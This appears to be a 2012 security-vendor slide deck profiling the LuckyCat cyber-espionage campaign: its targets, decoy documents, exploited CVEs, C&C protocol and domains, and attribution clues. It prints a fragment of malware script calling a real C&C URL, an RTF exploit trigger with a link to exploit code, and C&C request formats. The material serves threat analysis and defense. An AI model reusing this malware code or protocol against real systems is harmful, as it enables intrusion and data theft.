#### March 2012 | APT Campaign Quick Profile: LUCKYCAT



Advanced persistent threats (APTs) refer to a category of threats that aggressively pursue and compromise specific targets to maintain persistent presence within the victim's network so they can move laterally and exfiltrate data. Unlike indiscriminate cybercrime attacks, spam, web threats, and the like, APTs are much harder to detect because of the targeted nature of related components and techniques. Also, while cybercrime focuses on stealing credit card and banking information to gain profit, APTs are better thought of as cyber espionage.

### LUCKYCAT

Victims and Targets













**AEROSPACE** 

ENERGY

ENGINEERING


SHIPPING MILITARY RESEARCH TIBETAN ACTIVISTS

## LuckyCat

- Organized Cyber-Crime (tracing back to China)
- Targets in India, Japan and Tibet.
- Research facilities belonging to Military, Universities and Governments
- Areas of aerospace, energy and astronautics.
- The gang behind Luckycat has also been responsible:
  - compromising the power grid of at least one country
  - foreign ministries and targeting Tibetan activists both inside and outside Tibet.

# Targeted emails & social-engineered decoy documents

• Fukishima distaster | Doses measurement




### India



Indian Ballistic Missile Defense (BMD) experiments progressed rapidly after the Defense Research and Development Organisation (DRDO) convinced the government on its ability to develop BMD technology in late 1999. India initiated the program in the light of Pakistan's eschewing of a nuclear 'no first use' policy and heightened tensions during the Kargil war including a possibility of full scale nuclear war.

 Indian's Missilistic Defense Program (RMD)

### **Tibet**



## Insights into decoy documents

- Triggered vulnerabilities
  - Adobe Reader—CVE-2010-2883
  - Microsoft Office—CVE-2010-3333
    - Bug in Word's RTF parser. "pFragments" 's shape property is given a malformed value
    - {\rtf1{\shp{\sp {\sn pFragments}{\sv &xploit code}}}} http://downloads.securityfocus.com/vulnerabilities/exploits/44652.rb
- First-stage malware: TROJ\_WIMMIE.C and VBS\_WIMMIE.SMC

## VBS\_WIMMIE

- Hijack WMI (remote administration service)
- Delete itself. Hidden to Antivirus

```
ScrFD="C:\DOCUME~1\admin\LOCALS~1\Temp\\~temp.vbs" : ExeFD="C:\DOCUME~1\admin\LOCALS~1\Temp\Winword.exe"
      : Sname="http://masterchoice.shop.co/count/count.php" : Ainfo="longjiao"
      Set objFSO=CreateObject("Scripting.FileSystemObject")
      WMILink="winmgmts:\\.\root\subscription:"
      TrojanName="Microsoft WMI Comsumer Security Event"
      TrojanRunTimer=30000
      strtxt="var pageURL='"&Sname&"':
     var addinf='"&Ainfo&"';
      ISO885920ffset = [161,260,162,728,163,321,165,317,166,346,169,352,170,350,171,356,172,377,174,381,175,379]
      ,177,261,178,731,179,322,181,318,182,347,183,711,185,353,186,351,187,357,188,378,189,733,190,382,191,380,
      192,340,195,258,197,313,198,262,200,268,202,280,204,282,207,270,208,272,209,323,210,327,213,336,216,344,
      217,366,219,368,222,354,224,341,227,259,229,314,230,263,232,269,234,281,236,283,239,271,240,273,241,324,
      242,328,245,337,248,345,249,367,251,369,254,355,255,729];
10
      var Unicode2ISO = {};
      var ISO2Unicode = {};
    \Box for (var i=0;i<256;i++) {
13
                      Unicode2ISO[i]=i;
14
                      ISO2Unicode[i]=i;
15
16
      var ISOlen = ISO88592Offset.length;
17
    \neg for (var i=0; i<ISOlen; i+=2) {
18
          Unicode2IS0[IS0885920ffset[i]]=IS0885920ffset[i+1];
19
          ISO2Unicode[ISO885920ffset[i+1]]=ISO885920ffset[i];
20
21
      var xmlhttp=CreateXMLHttp();
22
      var obiHostname=GetHostInf();
23
      RunFun():
24
```

## C&C protocol

- Register to the C&C
  - POST /count/count.php?m=c&n=[HOSTNAME]\_[MAC\_ADDRESS]\_[CAMPAIGN\_CODE]
- Pulls task0 (info-gathering: `ipconfig`, `tasklist`, `systeminfo`)
  - GET /count/count.php?m=r&n=[HOSTNAME] [MAC ADDRESS] [CAMPAIGN CODE] O.c
- Pushes back results (down.cab)
  - POST /count/count.php?m=w&n=[HOSTNAME] [MAC ADDRESS] [CAMPAIGN CODE] O.t
- Deletes task and waits for more
  - GET /count/count.php?m=d&n=[HOSTNAME]\_[MAC\_ADDRESS]\_[CAMPAIGN\_CODE]@.c
- While 1

### **C&C** Servers

 Identified by looking up the C&C's URL path in customers' HTTP data (`trawler`)

cattree.1x.biz
frankwhales.shop.co
kinkeechow.shop.co
toms.0fees.net
goodwell.all.co.uk
waterpool.website.org
tbda123.gwchost.com
killmannets.0fees.net
masterchoice.shop.co

charlesbrain.shop.co
hi21222325.x.gg
kittyshop.kilu.org
tomsburs.shop.co
fireequipment.website.org
clbest.greenglassint.net
pumasports.website.org
maritimemaster.kilu.org
jeepvihecle.shop.co

footballworldcup.website.org
bailianlan.c.dwyu.com
perfect.shop.co
vpoasport.shopping2000.com
tennissport.website.org
tb123.xoomsite.com
tomygreen.0fees.net
duojee.info
lucysmith.0fees.net

## Attackers' Modus Operandi

- Luckycat users connects the C&C server
- Symantec investigation of attacker 43/45 IPs traces back to the Sichuan Province in China

## Spying on spies

- The attacker used one of its machines as testbed installation!
- Hands on 'down.cab'
- Chinese Installation

```
Viewing cabinet: down.cab
 File size | Date
                                     Name
607102
           23.08.2011 15:17:12
                                  C. tmp
           23.08.2011 15:17:12
                                  D. tmp
0
           23.08.2011 15:17:12
                                  E. tmp
0
           23.08.2011 15:17:12
                                  F. tmp
0
           23.08.2011 15:17:12
                                  G. tmp
0
           23.08.2011 15:17:12
                                  H. tmp
0
           23.08.2011 15:17:12
                                  I.tmp
1159
           23.08.2011 15:17:12
                                  J. tmp
1970
           23.08.2011 15:17:14
                                  K. tmp
1608
           23.08.2011 15:17:14
                                  M. tmp
C.tmp -> Directory of C:\
J.tmp -> Output of ipconfig
K.tmp -> Output of systeminfo
M.tmp -> Output of tasklist
```

```
主机名:
               PC-201201100959
05 名称:
               Microsoft Windows XP Professional
               5.1.2600 Service Pack 3 Build 2600
0S 版本:
0S 制造商:
              Microsoft Corporation
05 配置:
               独立工作站
OS 构件类型:
              Uniprocessor Free
注册的所有人:
              微软用户
注册的组织:
产品 ID:
               76481-640-8834005-23310
初始安装日期:
              2012-1-10, 7:33:03
系统启动时间:
              VMware, Inc.
系统制造商:
系统型号:
              VMw re Virtual Platform
              X86-based PC
系统类型:
处理器:
               安装了 1 个处理器.
               [01]: x86 Family 6 Model 42 Stepping 7 GenuineIntel ~3093 Mhz
BIOS 版本:
               INTEL - 6040000
Windows 目录:
               C:\WINDOWS
系统目录:
              C:\WINDOWS\system32
启动设备:
              \Device\HarddiskVolume1
系统区域设置:
              zh-cn:中文(中国)
输入法区域设置:
             zh-cn;中文(中国)
              511 MB
物理内存总量:
可用的物理内存:
             319 MB
虚拟内存: 最大值: 2,048 MB
虚拟内存: 可用:
             2,003 MB
虚拟内存: 使用中: 45 MB
页面文件位置:
              C:\pagefile.sys
               WORKGROUP
登录服务器:
              安装了 273 个修补程序。
修补程序:
```

## TOR configured for emailing

Supermailer and Foxmail-clone for China

```
D:\Tor Browser 的目录
2011-08-20
                   <DIR>
           00:30
2011-08-20
           00:30
                   <DIR>
2011-08-20 00:30
                  <DIR>
                                  App
2011-08-20 00:30
                  <DIR>
                                  Data
2011-08-20 00:30
                 <DIR>
                                  Docs
2011-08-20 00:30
                                  FirefoxPortable
                 <DIR>
2011-08-20
           00:30
                           33,792 Start Tor Browser.exe
              1 个文件
                             33,792 字节
```

```
D:\TunnelierPortable 的目录
2012-01-10
                    <DIR>
           08:42
2012-01-10
           08:42
                   <DIR>
2012-01-10
           08:42
                   <DIR>
                                   App
2012-01-10
           08:48
                    <DIR>
                                   Data
                            46,344 help.html
2011-01-17
           06:52
                                   Other
2012-01-10
           08:42
                    <DIR>
                           108,490 TunnelierPortable.exe
2011-01-17
           06:53
              2 个文件
                            154,834 字节
```

# Explains the social-engineering emails

Received: from [74.120.13.132] by web121501.ma X-Mailer: Yahoomailttassic, 13.0.4 YahooMailWeb Message-ID: <1326268028.25824.YahooMailClassic Date: Tue, 10 Jan 2012 23:47:08 -0800 (PST) From: Tibetan Refugee Center <reception\_center Subject: Fw: Tibetan self-immolations continue To:

MIME-Version: 1.0

Content-Type: multipart/mixed; boundary="1389]

Content-Length: 214173

Network		
NetRange	74.120.13.128 - 74.120.13.143	
CIDR	74.120.13.128/28	
Name	DRTORNYC2	
Handle	NET-74-120-13-128-1	
Parent	DEFAULTROUTE (NET-74-120-12-0-1)	
Net Type	Reassigned	
Origin AS	AS13722	
Organization	torservers.net (TORSE-2)	
Registration Date	2011-04-23	
Last Updated	2011-04-23	
Comments	This network is used for research in anonymisation services and provides a Tor Exit Node to end users.  http://www.torservers.net/ Send abuse issues to abuse@torservers.net	
RESTful Link	http://whois.arin.net/rest/net/NET-74-120-13-128-1	
See Also	Related POC records.	
See Also	Related organization's POC records.	
See Also	Related delegations.	

### **Victims**

#### Index of /54321

[ICO]	Name Last modified	Size Description
[DIR]	Parent Directory	(E)
[TXT]	D244 w1229@.c 20-Jan-2012 12:1	6 14
[]	count.php 29-Dec-2011 10:5	2 1.2K
[TXT]	<u>B2EF_w1229@.c</u> 20-Jan-2012 10:5	2 24
[]	1 <del>0.php</del> 29-Dec-2011 10:5	3 88
[TXT]	3C7B_w1229@.c 20-Jan-2012 12:1	2 22
[]	3C7B_w1229@.t 20-Jan-2012 12:1	1 1.4K
[]	realip 20-Jan-2012 14:3	7 14
[TXT]	3B86_w1229@.c 19-Jan-2012 01:4	7 14
[]	BBB0_w1229@.t 20-Jan-2012 14:3	7 0
[]	F805_w1229@.t 20-Jan-2012 13:0	1 0
[]	AD244_w1229@.t 20-Jan-2012 12:1	1 0
[]	B7A8B_w1229@.t 20-Jan-2012 10:0	2 0
[]	<u>522834_w1229@.t</u> 14-Jan-2012 06:0	4 0
[]	<u>)0000 w1229@.t</u> 20-Jan-2012 12:5	1 0
[]	35C0B2EF w1229@.t 20-Jan-2012 10:2	9 0
[]	4B6F9 w1229@.t 20-Jan-2012 13:5	6 0
[]	503C7B w1229@.t 20-Jan-2012 12:1	1 0
[]	<u>'A2B_w1229@.t</u> 20-Jan-2012 12:3	6 0
[]	CCF00 w1229@.t 20-Jan-2012 12:2	8 0
[]	<u>00A0834_w1229@.t</u> 09-Jan-2012 11:4	5 0
[]	B86 w1229@.t 18-Jan-2012 18:2	2 0
[]	0DD_w1229@.t 19-Jan-2012 18:2	7 0
[]	27EA9480_w1229@.t 17-Jan-2012 18:5	


Apache Server at 89757.x.gg Port 80

^

- The attacker downloaded the list of victims on his installation
- The list corresponds to the content stored on the C&C
- Directory-listing enabled

### Attribution

- Registered hundreds of domains
- Attackers' mistake: whois leakage



## dang0102@hacking\_forum

主題 讨论:关于 realpl	ayer .rm文件解析堆栈溢出漏洞 《上一主题   下一主题 :
dang0102	发表于: 2005-12-20 15:12
发帖: 35 积分: 0 注册: 2004-11-10	最近研究这个漏洞,发现有些问题可以提出和大家讨论下。漏洞的公告可参见: http://www.cve.mitre.org/cgl-bin/cvename.cgl?name=CVE-2005-2629  对于这个漏洞,我首先是将.rm文件格式仔细分析了一遍。通过INDX RECORD找到了漏洞中提示的first data packet地址,然后找到该packetde 长度域。该长度域包含在data packet的头部结构中,头部结构定义如下: Media_Packet_Header {     UINT16 object_version;     if (object_version == 0) {         UINT16 stream_number;         UINT18 tream_number;         UINT32 timestamp;         UINT32 timestamp;         UINT8 flags;         UINT8 flags;         UINT8 flength] data;     }     istah中有两处length。其中,UINT16 length 是整个packet的长度,UINT8[length] 被解释为The application-specific media data,意义不是 很清楚。按照漏洞公告,应该是realplay在解析first data packet长度域的时候没有对长度值这个有符号数进行检验,当作无符号数处理了,适成 整数溢出,并进而导致了数据拷见的时候的组长线出。这个长度在公告中说的是一个字节,并且的设置为0x80—0xf的时候溢出发生。由于有两处length,我只好接个改。改UINT16 length 的时候,偶尔发生溢出,但每次发生之后关闭程序在用realpaly打开的时候就没有异常了,而是正常播放,必须在重启机器之后如果再改数据,异常再次发生,但是用Softice KiUserExceptionDispatcher函数一直拦截不了该异常;可改UINT8[length] 的情况下异常无论如何也不出现。         此外,每次出现异常的时候,我用VC调试器调试后不久,该调试器也会出现异常。我怀疑这是realplay程序加了反调试和跟踪机制,但只是猜测而已。         情况大数就是这样,如果大家觉得有没有说清楚的地方可以提出来。对于漏洞研究有兴趣的朋友,我们可以一起多讨论。
dang0102	发表于: 2005-12-20 15:14
发帖: 35 积分: 0 注册: 2004-11-10	同时也欢迎从QQ进行交流: <mark>19013788</mark>

## scuhkr@students\_BBS

发信人: scuhkr (编程浪子), 信区: Program 标 题: 川大信息安全研究所招募网络攻防实习生

发信站: 四川大学蓝色星空站 (Mon Aug 1 10:09:33 2005), 站内

四川大学信息安全研究所网络攻防组现向川大(望江校区)在校学生招聘实习生。

人数:

2~4名

实习内容:

网络攻防技术研究与实战

要求:

望江校区在读本科生(下学期大2大3),有

一定的网络安全和计算机操作系统有一定的了解,熟悉TCP/IP或C/C++程序设计者优先,对黑客工具有使用经验者优先,有较强的学习能力和领悟能力有专研精神,喜欢挑战,为人正直。

其他:

实习期间有少许的生活补助,视个人能力情况而定。

联系方式:

00:19013788 2888111

mail: sccd@sina.com scuhkr@21cn.com

最好发个人简历到emall。

-

我只喜欢编程!

- ※ 修改:·scuhkr 于 Aug 2 15:04:15 修改本文·[FROM: 蓝色☆空]
- ※ 来源:·四川大学蓝色星空站 lsxk.org·[FROM: 蓝色☆空]

- Information Security Institute of the Sichuan University
- Recruitment of students for attack/defense project
- Articles in hacking magazines
- The other email is associated to a similar profile

## Connected campaigns

from comitatoprotibet2011@gmail.com☆
subject Fw:Self-Immolations

12-01-11 10:09 PM other actions  $\nabla$ 

China announces Stepped-up Control in Tibetan Monasteries

In the wake of recurring self-immolations inside in Tibet, China has announced that it will step-up its control on the management of monasteries across Tibet. According to Xinhua, a CCP mouthpiece, senior officials of Tibet Autonomous Region have pledged to increase efforts to strengthen the management of monasteries in the 'fight against the Dalai Lama group'.


Analysts say that increasing desperation over government restrictions on religious practice and the absence of any alternative forms of expressing grievances in Tibet are the reasons behind the self immolations that have taken place over the last year. During a meeting, the Deputy head of the Chinese People's Political Consultative Conference-Tibet Committee announced that the committee will focus this year's work on strengthening government management of monasteries.

 One of the targeted emails contained two malicious file attachments.

 $US\_Seriously\_...molations.doc \quad Lama\_Sopa\_Tul...molation.pdf$ 




### Shadownet



- Targeted Tibetan activists
- Stole secret documents from the Indian government
- Compromised the Dali Lama's email

## Duojeen

- Targeted Tibetan community
- Shared C&C server: duojee.info
- Similar exploits and dropper



## Maltego

- Visualization platform for
  - Open Source Intelligence (OSINT)
  - Forensics Investigations
  - Incidents Handling
- Used to conduct investigations in general
- Custom plugins interfacing with our backend intelligence databases

### Demo!

